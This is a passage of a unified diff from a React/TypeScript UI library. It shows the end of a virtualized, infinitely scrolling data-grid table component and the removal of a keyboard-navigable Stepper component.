...(props.tableLayout?.columnsPinnable &&
|
||||
column.getCanPin() &&
|
||||
getPinningStyles(column)),
|
||||
...(props.tableLayout?.columnsResizable && {
|
||||
width: `calc(var(--col-${column.id}-size) * 1px)`,
|
||||
}),
|
||||
}}
|
||||
data-pinned={isPinned || undefined}
|
||||
data-last-col={
|
||||
isLastLeftPinned ? "left" : isFirstRightPinned ? "right" : undefined
|
||||
}
|
||||
className={cn(
|
||||
"p-0",
|
||||
props.tableLayout?.cellBorder && "border-e",
|
||||
props.tableLayout?.columnsPinnable &&
|
||||
column.getCanPin() &&
|
||||
"data-pinned:bg-background data-pinned:isolate [&[data-pinned=left][data-last-col=left]]:shadow-[inset_-1px_0_0_0_var(--border)] [&[data-pinned=right][data-last-col=right]]:shadow-[inset_1px_0_0_0_var(--border)]"
|
||||
)}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualUtilityRow<TData>({
|
||||
table,
|
||||
children,
|
||||
centerCellClassName,
|
||||
centerCellStyle,
|
||||
rowClassName,
|
||||
ariaHidden,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
children: ReactNode
|
||||
centerCellClassName?: string
|
||||
centerCellStyle?: CSSProperties
|
||||
rowClassName?: string
|
||||
ariaHidden?: boolean
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const leftVisibleColumns = table.getLeftVisibleLeafColumns()
|
||||
const centerVisibleColumns = table.getCenterVisibleLeafColumns()
|
||||
const rightVisibleColumns = table.getRightVisibleLeafColumns()
|
||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
||||
|
||||
return (
|
||||
<tr aria-hidden={ariaHidden || undefined} className={rowClassName}>
|
||||
{leftVisibleColumns.map((column) => (
|
||||
<DataGridTableVirtualPinnedPlaceholderCell
|
||||
column={column}
|
||||
key={column.id}
|
||||
/>
|
||||
))}
|
||||
<td
|
||||
colSpan={Math.max(centerVisibleColumns.length, 1)}
|
||||
className={centerCellClassName}
|
||||
style={centerCellStyle}
|
||||
>
|
||||
{children}
|
||||
</td>
|
||||
{props.tableLayout?.columnsResizable && hasRightPinnedColumns ? (
|
||||
<DataGridTableFillBodyCell />
|
||||
) : null}
|
||||
{rightVisibleColumns.map((column) => (
|
||||
<DataGridTableVirtualPinnedPlaceholderCell
|
||||
column={column}
|
||||
key={column.id}
|
||||
/>
|
||||
))}
|
||||
{props.tableLayout?.columnsResizable && !hasRightPinnedColumns ? (
|
||||
<DataGridTableFillBodyCell />
|
||||
) : null}
|
||||
</tr>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualSpacer<TData>({
|
||||
table,
|
||||
height,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
height: number
|
||||
}) {
|
||||
if (height <= 0) return null
|
||||
|
||||
return (
|
||||
<DataGridTableVirtualUtilityRow
|
||||
table={table}
|
||||
ariaHidden
|
||||
centerCellClassName="p-0"
|
||||
centerCellStyle={{ height, padding: 0 }}
|
||||
>
|
||||
{null}
|
||||
</DataGridTableVirtualUtilityRow>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualStatusRow<TData>({
|
||||
table,
|
||||
children,
|
||||
className,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
children: ReactNode
|
||||
className?: string
|
||||
}) {
|
||||
return (
|
||||
<DataGridTableVirtualUtilityRow
|
||||
table={table}
|
||||
centerCellClassName={cn(
|
||||
"text-muted-foreground py-4 text-center text-sm",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</DataGridTableVirtualUtilityRow>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualBody<TData>({
|
||||
table,
|
||||
topRows,
|
||||
centerRows,
|
||||
bottomRows,
|
||||
virtualItems,
|
||||
totalSize,
|
||||
isVirtualizationEnabled,
|
||||
isInfiniteMode,
|
||||
isFetchingMore,
|
||||
hasMore,
|
||||
loadingMoreMessage,
|
||||
allRowsLoadedMessage,
|
||||
measureRowRef,
|
||||
}: VirtualBodyProps<TData>) {
|
||||
const { isLoading } = useDataGrid()
|
||||
const totalRows = topRows.length + centerRows.length + bottomRows.length
|
||||
|
||||
if (!totalRows) {
|
||||
// Initial load must not flash the empty state as if the query returned
|
||||
// nothing.
|
||||
if (isLoading) {
|
||||
return (
|
||||
<DataGridTableVirtualStatusRow table={table}>
|
||||
<div className="flex items-center justify-center gap-2">
|
||||
<Spinner className="size-4 opacity-60" />
|
||||
{loadingMoreMessage}
|
||||
</div>
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
return <DataGridTableEmpty />
|
||||
}
|
||||
|
||||
const hasCenterRows = centerRows.length > 0
|
||||
const showFetchingRow = isInfiniteMode && isFetchingMore
|
||||
const showCompleteRow = isInfiniteMode && hasMore === false && totalRows > 0
|
||||
const hasMiddleSection = hasCenterRows || showFetchingRow || showCompleteRow
|
||||
const leadingSpacerHeight =
|
||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
||||
? (virtualItems[0]?.start ?? 0)
|
||||
: 0
|
||||
const trailingSpacerHeight =
|
||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
||||
? Math.max(
|
||||
0,
|
||||
totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0)
|
||||
)
|
||||
: 0
|
||||
|
||||
const renderedRows: ReactNode[] = []
|
||||
|
||||
topRows.forEach((row, index) => {
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
pinnedBoundary={
|
||||
index === topRows.length - 1 && hasMiddleSection ? "top" : undefined
|
||||
}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
if (isVirtualizationEnabled) {
|
||||
if (leadingSpacerHeight > 0) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualSpacer
|
||||
key="virtual-spacer-start"
|
||||
table={table}
|
||||
height={leadingSpacerHeight}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
virtualItems.forEach((virtualRow) => {
|
||||
const row = centerRows[virtualRow.index]
|
||||
|
||||
if (!row) return
|
||||
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
rowRef={measureRowRef}
|
||||
rowIndex={virtualRow.index}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
if (trailingSpacerHeight > 0) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualSpacer
|
||||
key="virtual-spacer-end"
|
||||
table={table}
|
||||
height={trailingSpacerHeight}
|
||||
/>
|
||||
)
|
||||
}
|
||||
} else {
|
||||
centerRows.forEach((row) => {
|
||||
renderedRows.push(<DataGridTableRenderedRow key={row.id} row={row} />)
|
||||
})
|
||||
}
|
||||
|
||||
if (showFetchingRow) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualStatusRow key="virtual-status-loading" table={table}>
|
||||
<div className="flex items-center justify-center gap-2">
|
||||
<Spinner className="size-4 opacity-60" />
|
||||
{loadingMoreMessage}
|
||||
</div>
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
if (showCompleteRow) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualStatusRow
|
||||
key="virtual-status-complete"
|
||||
table={table}
|
||||
className="py-3 text-xs"
|
||||
>
|
||||
{allRowsLoadedMessage}
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
bottomRows.forEach((row, index) => {
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
pinnedBoundary={
|
||||
index === 0 && (topRows.length > 0 || hasMiddleSection)
|
||||
? "bottom"
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
return <>{renderedRows}</>
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized virtual body: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedVirtualBody = memo(
|
||||
DataGridTableVirtualBody,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableVirtualBody
|
||||
|
||||
function DataGridTableVirtual<TData>({
|
||||
height,
|
||||
estimateSize = 48,
|
||||
overscan = 10,
|
||||
footerContent,
|
||||
renderHeader = true,
|
||||
onFetchMore,
|
||||
isFetchingMore = false,
|
||||
hasMore,
|
||||
fetchMoreOffset = 0,
|
||||
virtualizerOptions,
|
||||
}: DataGridTableVirtualProps<TData>) {
|
||||
const { table, props } = useDataGrid()
|
||||
const mergedHeaderGroups = getDataGridTableMergedHeaderGroups(table)
|
||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
||||
const { topRows, centerRows, bottomRows } = getDataGridTableRowSections(
|
||||
table,
|
||||
props.tableLayout?.rowsPinnable
|
||||
)
|
||||
const isInfiniteMode = typeof onFetchMore === "function"
|
||||
const [viewportElements, setViewportElements] =
|
||||
useState<DataGridTableVirtualScrollElements>({
|
||||
containerElement: null,
|
||||
scrollElement: null,
|
||||
})
|
||||
|
||||
const {
|
||||
estimateSize: customEstimateSize,
|
||||
getItemKey: customGetItemKey,
|
||||
getScrollElement: customGetScrollElement,
|
||||
measureElement: customMeasureElement,
|
||||
overscan: customOverscan,
|
||||
...virtualizerOptionsRest
|
||||
} = virtualizerOptions ?? {}
|
||||
|
||||
const isVirtualizationEnabled = virtualizerOptions?.enabled !== false
|
||||
const loadingMoreMessage =
|
||||
props.fetchingMoreMessage || props.loadingMessage || "Loading..."
|
||||
const allRowsLoadedMessage =
|
||||
props.allRowsLoadedMessage || "All records loaded"
|
||||
|
||||
const handleViewportRef = useCallback((node: HTMLDivElement | null) => {
|
||||
setViewportElements({
|
||||
containerElement: node,
|
||||
scrollElement: node
|
||||
? (getDataGridScrollAreaViewport(node) ?? node)
|
||||
: null,
|
||||
})
|
||||
}, [])
|
||||
|
||||
const usesExternalScrollArea =
|
||||
viewportElements.scrollElement !== null &&
|
||||
viewportElements.scrollElement !== viewportElements.containerElement
|
||||
|
||||
const resolveScrollElement = useCallback(() => {
|
||||
if (customGetScrollElement) {
|
||||
return customGetScrollElement(viewportElements)
|
||||
}
|
||||
|
||||
return viewportElements.scrollElement
|
||||
}, [customGetScrollElement, viewportElements])
|
||||
|
||||
const resolveItemKey = useCallback(
|
||||
(index: number) => {
|
||||
const row = centerRows[index]
|
||||
|
||||
if (!row) return index
|
||||
|
||||
return customGetItemKey?.(index, row) ?? row.id ?? index
|
||||
},
|
||||
[centerRows, customGetItemKey]
|
||||
)
|
||||
|
||||
const resolveEstimateSize = useCallback(
|
||||
(index: number) => {
|
||||
const row = centerRows[index]
|
||||
|
||||
return row
|
||||
? (customEstimateSize?.(index, row) ?? estimateSize)
|
||||
: estimateSize
|
||||
},
|
||||
[centerRows, customEstimateSize, estimateSize]
|
||||
)
|
||||
|
||||
const virtualizer = useVirtualizer({
|
||||
count: centerRows.length,
|
||||
getScrollElement: resolveScrollElement,
|
||||
getItemKey: resolveItemKey,
|
||||
estimateSize: resolveEstimateSize,
|
||||
overscan: customOverscan ?? overscan,
|
||||
measureElement: customMeasureElement,
|
||||
...virtualizerOptionsRest,
|
||||
}) as DataGridTableVirtualizerInstance
|
||||
|
||||
const virtualItems = isVirtualizationEnabled
|
||||
? virtualizer.getVirtualItems()
|
||||
: []
|
||||
const totalSize = isVirtualizationEnabled ? virtualizer.getTotalSize() : 0
|
||||
const measureRowRef =
|
||||
isVirtualizationEnabled && customMeasureElement
|
||||
? virtualizer.measureElement
|
||||
: undefined
|
||||
const resolvedFetchMoreOffset = Math.max(0, fetchMoreOffset)
|
||||
// Latch onFetchMore per row count: virtualItems gets a new identity every
|
||||
// scroll frame, so without it the effect fires duplicate page requests
|
||||
// before the consumer flips isFetchingMore, and loops at end-of-data when
|
||||
// hasMore is never set.
|
||||
const fetchMoreFiredAtCountRef = useRef<number | null>(null)
|
||||
|
||||
useEffect(() => {
|
||||
if (
|
||||
!isVirtualizationEnabled ||
|
||||
!isInfiniteMode ||
|
||||
hasMore === false ||
|
||||
isFetchingMore
|
||||
) {
|
||||
return
|
||||
}
|
||||
|
||||
const lastItem = virtualItems[virtualItems.length - 1]
|
||||
if (!lastItem) return
|
||||
|
||||
if (fetchMoreFiredAtCountRef.current === centerRows.length) return
|
||||
|
||||
if (lastItem.index >= centerRows.length - 1 - resolvedFetchMoreOffset) {
|
||||
fetchMoreFiredAtCountRef.current = centerRows.length
|
||||
onFetchMore?.()
|
||||
}
|
||||
}, [
|
||||
centerRows.length,
|
||||
hasMore,
|
||||
isFetchingMore,
|
||||
isInfiniteMode,
|
||||
isVirtualizationEnabled,
|
||||
onFetchMore,
|
||||
resolvedFetchMoreOffset,
|
||||
virtualItems,
|
||||
])
|
||||
|
||||
return (
|
||||
<DataGridTableViewport
|
||||
viewportRef={handleViewportRef}
|
||||
className={!usesExternalScrollArea ? "block" : undefined}
|
||||
style={
|
||||
usesExternalScrollArea
|
||||
? undefined
|
||||
: {
|
||||
height,
|
||||
overflow: "auto",
|
||||
position: "relative",
|
||||
// Standalone mode: this node IS the scroll container, so it
|
||||
// must stay at its parent's width (not the resizable table
|
||||
// width) or horizontal scrolling becomes impossible.
|
||||
width: "auto",
|
||||
}
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
{renderHeader && (
|
||||
<DataGridTableHead>
|
||||
{mergedHeaderGroups.map((headerGroup) => (
|
||||
<DataGridTableHeadRow key={headerGroup.id} rowId={headerGroup.id}>
|
||||
{headerGroup.headers
|
||||
.filter((header) => header.column.getIsPinned() !== "right")
|
||||
.map((header) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
hasRightPinnedColumns ? (
|
||||
<DataGridTableFillHeadCell />
|
||||
) : null}
|
||||
{headerGroup.headers
|
||||
.filter((header) => header.column.getIsPinned() === "right")
|
||||
.map((header) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
!hasRightPinnedColumns ? (
|
||||
<DataGridTableFillHeadCell />
|
||||
) : null}
|
||||
</DataGridTableHeadRow>
|
||||
))}
|
||||
</DataGridTableHead>
|
||||
)}
|
||||
|
||||
{renderHeader &&
|
||||
(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedVirtualBody
|
||||
table={table}
|
||||
topRows={topRows}
|
||||
centerRows={centerRows}
|
||||
bottomRows={bottomRows}
|
||||
virtualItems={virtualItems}
|
||||
totalSize={totalSize}
|
||||
isVirtualizationEnabled={isVirtualizationEnabled}
|
||||
isInfiniteMode={isInfiniteMode}
|
||||
isFetchingMore={isFetchingMore}
|
||||
hasMore={hasMore}
|
||||
loadingMoreMessage={loadingMoreMessage}
|
||||
allRowsLoadedMessage={allRowsLoadedMessage}
|
||||
measureRowRef={measureRowRef}
|
||||
/>
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableVirtual }
|
||||
export type {
|
||||
DataGridTableVirtualProps,
|
||||
DataGridTableVirtualScrollElements,
|
||||
DataGridTableVirtualizerOptions,
|
||||
}
|
||||
@@ -1,477 +0,0 @@
|
||||
import {
|
||||
Children,
|
||||
createContext,
|
||||
HTMLAttributes,
|
||||
isValidElement,
|
||||
ReactElement,
|
||||
useCallback,
|
||||
useContext,
|
||||
useEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { mergeProps } from "@base-ui/react/merge-props"
|
||||
import { useRender } from "@base-ui/react/use-render"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
|
||||
// Types
|
||||
type StepperOrientation = "horizontal" | "vertical"
|
||||
type StepState = "active" | "completed" | "inactive" | "loading"
|
||||
type StepIndicators = {
|
||||
active?: React.ReactNode
|
||||
completed?: React.ReactNode
|
||||
inactive?: React.ReactNode
|
||||
loading?: React.ReactNode
|
||||
}
|
||||
|
||||
interface StepperContextValue {
|
||||
activeStep: number
|
||||
setActiveStep: (step: number) => void
|
||||
stepsCount: number
|
||||
orientation: StepperOrientation
|
||||
registerTrigger: (node: HTMLButtonElement | null) => void
|
||||
triggerNodes: HTMLButtonElement[]
|
||||
focusNext: (currentIdx: number) => void
|
||||
focusPrev: (currentIdx: number) => void
|
||||
focusFirst: () => void
|
||||
focusLast: () => void
|
||||
indicators: StepIndicators
|
||||
}
|
||||
|
||||
interface StepItemContextValue {
|
||||
step: number
|
||||
state: StepState
|
||||
isDisabled: boolean
|
||||
isLoading: boolean
|
||||
}
|
||||
|
||||
const StepperContext = createContext<StepperContextValue | undefined>(undefined)
|
||||
const StepItemContext = createContext<StepItemContextValue | undefined>(
|
||||
undefined
|
||||
)
|
||||
|
||||
function useStepper() {
|
||||
const ctx = useContext(StepperContext)
|
||||
if (!ctx) throw new Error("useStepper must be used within a Stepper")
|
||||
return ctx
|
||||
}
|
||||
|
||||
function useStepItem() {
|
||||
const ctx = useContext(StepItemContext)
|
||||
if (!ctx) throw new Error("useStepItem must be used within a StepperItem")
|
||||
return ctx
|
||||
}
|
||||
|
||||
interface StepperProps extends HTMLAttributes<HTMLDivElement> {
|
||||
defaultValue?: number
|
||||
value?: number
|
||||
onValueChange?: (value: number) => void
|
||||
orientation?: StepperOrientation
|
||||
indicators?: StepIndicators
|
||||
}
|
||||
|
||||
function Stepper({
|
||||
defaultValue = 1,
|
||||
value,
|
||||
onValueChange,
|
||||
orientation = "horizontal",
|
||||
className,
|
||||
children,
|
||||
indicators = {},
|
||||
...props
|
||||
}: StepperProps) {
|
||||
const [activeStep, setActiveStep] = useState(defaultValue)
|
||||
const [triggerNodes, setTriggerNodes] = useState<HTMLButtonElement[]>([])
|
||||
|
||||
// Register/unregister triggers
|
||||
const registerTrigger = useCallback((node: HTMLButtonElement | null) => {
|
||||
setTriggerNodes((prev) => {
|
||||
if (node && !prev.includes(node)) {
|
||||
return [...prev, node]
|
||||
} else if (!node && prev.includes(node!)) {
|
||||
return prev.filter((n) => n !== node)
|
||||
} else {
|
||||
return prev
|
||||
}
|
||||
})
|
||||
}, [])
|
||||
|
||||
const handleSetActiveStep = useCallback(
|
||||
(step: number) => {
|
||||
if (value === undefined) {
|
||||
setActiveStep(step)
|
||||
}
|
||||
onValueChange?.(step)
|
||||
},
|
||||
[value, onValueChange]
|
||||
)
|
||||
|
||||
const currentStep = value ?? activeStep
|
||||
|
||||
// Keyboard navigation logic
|
||||
const focusTrigger = (idx: number) => {
|
||||
if (triggerNodes[idx]) triggerNodes[idx].focus()
|
||||
}
|
||||
const focusNext = (currentIdx: number) =>
|
||||
focusTrigger((currentIdx + 1) % triggerNodes.length)
|
||||
const focusPrev = (currentIdx: number) =>
|
||||
focusTrigger((currentIdx - 1 + triggerNodes.length) % triggerNodes.length)
|
||||
const focusFirst = () => focusTrigger(0)
|
||||
const focusLast = () => focusTrigger(triggerNodes.length - 1)
|
||||
|
||||
// Context value
|
||||
const contextValue = useMemo<StepperContextValue>(
|
||||
() => ({
|
||||
activeStep: currentStep,
|
||||
setActiveStep: handleSetActiveStep,
|
||||
stepsCount: Children.toArray(children).filter(
|
||||
(child): child is ReactElement =>
|
||||
isValidElement(child) &&
|
||||
(child.type as { displayName?: string }).displayName === "StepperItem"
|
||||
).length,
|
||||
orientation,
|
||||
registerTrigger,
|
||||
focusNext,
|
||||
focusPrev,
|
||||
focusFirst,
|
||||
focusLast,
|
||||
triggerNodes,
|
||||
indicators,
|
||||
}),
|
||||
[
|
||||
currentStep,
|
||||
handleSetActiveStep,
|
||||
children,
|
||||
orientation,
|
||||
registerTrigger,
|
||||
triggerNodes,
|
||||
]
|
||||
)
|
||||
|
||||
return (
|
||||
<StepperContext.Provider value={contextValue}>
|
||||
<div
|
||||
role="tablist"
|
||||
aria-orientation={orientation}
|
||||
data-slot="stepper"
|
||||
className={cn("w-full", className)}
|
||||
data-orientation={orientation}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</StepperContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
interface StepperItemProps extends React.HTMLAttributes<HTMLDivElement> {
|
||||
step: number
|
||||
completed?: boolean
|
||||
disabled?: boolean
|
||||
loading?: boolean
|
||||
}
|
||||
|
||||
function StepperItem({
|
||||
step,
|
||||
completed = false,
|
||||
disabled = false,
|
||||
loading = false,
|
||||
className,
|
||||
children,
|
||||
...props
|
||||
}: StepperItemProps) {
|
||||
const { activeStep } = useStepper()
|
||||
|
||||
const state: StepState =
|
||||
completed || step < activeStep
|
||||
? "completed"
|
||||
: activeStep === step
|
||||
? "active"
|
||||
: "inactive"
|
||||
|
||||
const isLoading = loading && step === activeStep
|
||||
|
||||
return (
|
||||
<StepItemContext.Provider
|
||||
value={{ step, state, isDisabled: disabled, isLoading }}
|
||||
>
|
||||
<div
|
||||
data-slot="stepper-item"
|
||||
className={cn(
|
||||
"group/step flex items-center justify-center not-last:flex-1 group-data-[orientation=horizontal]/stepper-nav:flex-row group-data-[orientation=vertical]/stepper-nav:flex-col",
|
||||
className
|
||||
)}
|
||||
data-state={state}
|
||||
{...(isLoading ? { "data-loading": true } : {})}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</StepItemContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
type StepperTriggerProps = useRender.ComponentProps<"button">
|
||||
|
||||
function StepperTrigger({
|
||||
className,
|
||||
children,
|
||||
tabIndex,
|
||||
render,
|
||||
...props
|
||||
}: StepperTriggerProps) {
|
||||
const { state, isLoading } = useStepItem()
|
||||
const stepperCtx = useStepper()
|
||||
const {
|
||||
setActiveStep,
|
||||
activeStep,
|
||||
registerTrigger,
|
||||
triggerNodes,
|
||||
focusNext,
|
||||
focusPrev,
|
||||
focusFirst,
|
||||
focusLast,
|
||||
} = stepperCtx
|
||||
const { step, isDisabled } = useStepItem()
|
||||
const isSelected = activeStep === step
|
||||
const id = `stepper-tab-${step}`
|
||||
const panelId = `stepper-panel-${step}`
|
||||
|
||||
// Register this trigger for keyboard navigation
|
||||
const btnRef = useRef<HTMLButtonElement>(null)
|
||||
useEffect(() => {
|
||||
if (btnRef.current) {
|
||||
registerTrigger(btnRef.current)
|
||||
}
|
||||
}, [btnRef.current])
|
||||
|
||||
// Find our index among triggers for navigation
|
||||
const myIdx = useMemo(
|
||||
() =>
|
||||
triggerNodes.findIndex((n: HTMLButtonElement) => n === btnRef.current),
|
||||
[triggerNodes, btnRef.current]
|
||||
)
|
||||
|
||||
const handleKeyDown = (e: React.KeyboardEvent<HTMLButtonElement>) => {
|
||||
switch (e.key) {
|
||||
case "ArrowRight":
|
||||
case "ArrowDown":
|
||||
e.preventDefault()
|
||||
if (myIdx !== -1 && focusNext) focusNext(myIdx)
|
||||
break
|
||||
case "ArrowLeft":
|
||||
case "ArrowUp":
|
||||
e.preventDefault()
|
||||
if (myIdx !== -1 && focusPrev) focusPrev(myIdx)
|
||||
break
|
||||
case "Home":
|
||||
e.preventDefault()
|
||||
if (focusFirst) focusFirst()
|
||||
break
|
||||
case "End":
|
||||
e.preventDefault()
|
||||
if (focusLast) focusLast()
|
||||
break
|
||||
case "Enter":
|
||||
case " ":
|
||||
e.preventDefault()
|
||||
setActiveStep(step)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const defaultProps = {
|
||||
role: "tab",
|
||||
id,
|
||||
"aria-selected": isSelected,
|
||||
"aria-controls": panelId,
|
||||
tabIndex: typeof tabIndex === "number" ? tabIndex : isSelected ? 0 : -1,
|
||||
"data-slot": "stepper-trigger",
|
||||
"data-state": state,
|
||||
"data-loading": isLoading,
|
||||
className: cn(
|
||||
"focus-visible:border-ring focus-visible:ring-ring/50 inline-flex cursor-pointer items-center outline-none focus-visible:z-10 focus-visible:ring-3 disabled:pointer-events-none disabled:opacity-60",
|
||||
"gap-2.5 rounded-full",
|
||||
className
|
||||
),
|
||||
onClick: () => setActiveStep(step),
|
||||
onKeyDown: handleKeyDown,
|
||||
disabled: isDisabled,
|
||||
children,
|
||||
}
|
||||
|
||||
return useRender({
|
||||
defaultTagName: "button",
|
||||
render,
|
||||
ref: btnRef,
|
||||
props: mergeProps<"button">(defaultProps, props),
|
||||
})
|
||||
}
|
||||
|
||||
function StepperIndicator({
|
||||
children,
|
||||
className,
|
||||
}: React.ComponentProps<"div">) {
|
||||
const { state, isLoading } = useStepItem()
|
||||
const { indicators } = useStepper()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-indicator"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"border-background bg-accent text-accent-foreground data-[state=completed]:bg-primary data-[state=completed]:text-primary-foreground data-[state=active]:bg-primary data-[state=active]:text-primary-foreground relative flex size-6 shrink-0 items-center justify-center overflow-hidden",
|
||||
"rounded-full text-xs",
|
||||
className
|
||||
)}
|
||||
>
|
||||
<div className="absolute">
|
||||
{indicators &&
|
||||
((isLoading && indicators.loading) ||
|
||||
(state === "completed" && indicators.completed) ||
|
||||
(state === "active" && indicators.active) ||
|
||||
(state === "inactive" && indicators.inactive))
|
||||
? (isLoading && indicators.loading) ||
|
||||
(state === "completed" && indicators.completed) ||
|
||||
(state === "active" && indicators.active) ||
|
||||
(state === "inactive" && indicators.inactive)
|
||||
: children}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperSeparator({ className }: React.ComponentProps<"div">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-separator"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"bg-muted rounded-sm group-data-[orientation=horizontal]/stepper-nav:h-0.5 group-data-[orientation=vertical]/stepper-nav:h-12 group-data-[orientation=vertical]/stepper-nav:w-0.5 m-0.5 group-data-[orientation=horizontal]/stepper-nav:flex-1",
|
||||
className
|
||||
)}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperTitle({ children, className }: React.ComponentProps<"h3">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<h3
|
||||
data-slot="stepper-title"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"text-sm leading-none font-medium",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</h3>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperDescription({
|
||||
children,
|
||||
className,
|
||||
}: React.ComponentProps<"div">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-description"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"text-muted-foreground text-sm",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperNav({ children, className }: React.ComponentProps<"nav">) {
|
||||
const { activeStep, orientation } = useStepper()
|
||||
|
||||
return (
|
||||
<nav
|
||||
data-slot="stepper-nav"
|
||||
data-state={activeStep}
|
||||
data-orientation={orientation}
|
||||
className={cn(
|
||||
"group/stepper-nav inline-flex data-[orientation=horizontal]:w-full data-[orientation=horizontal]:flex-row data-[orientation=vertical]:flex-col",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperPanel({ children, className }: React.ComponentProps<"div">) {
|
||||
const { activeStep } = useStepper()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-panel"
|
||||
data-state={activeStep}
|
||||
className={cn("w-full", className)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
interface StepperContentProps extends React.ComponentProps<"div"> {
|
||||
value: number
|
||||
forceMount?: boolean
|
||||
}
|
||||
|
||||
function StepperContent({
|
||||
value,
|
||||
forceMount,
|
||||
children,
|
||||
className,
|
||||
}: StepperContentProps) {
|
||||
const { activeStep } = useStepper()
|
||||
const isActive = value === activeStep
|
||||
|
||||
if (!forceMount && !isActive) {
|
||||
return null
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-content"
|
||||
data-state={activeStep}
|
||||
className={cn("w-full", className, !isActive && forceMount && "hidden")}
|
||||
hidden={!isActive && forceMount}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export {
|
||||
useStepper,
|
||||
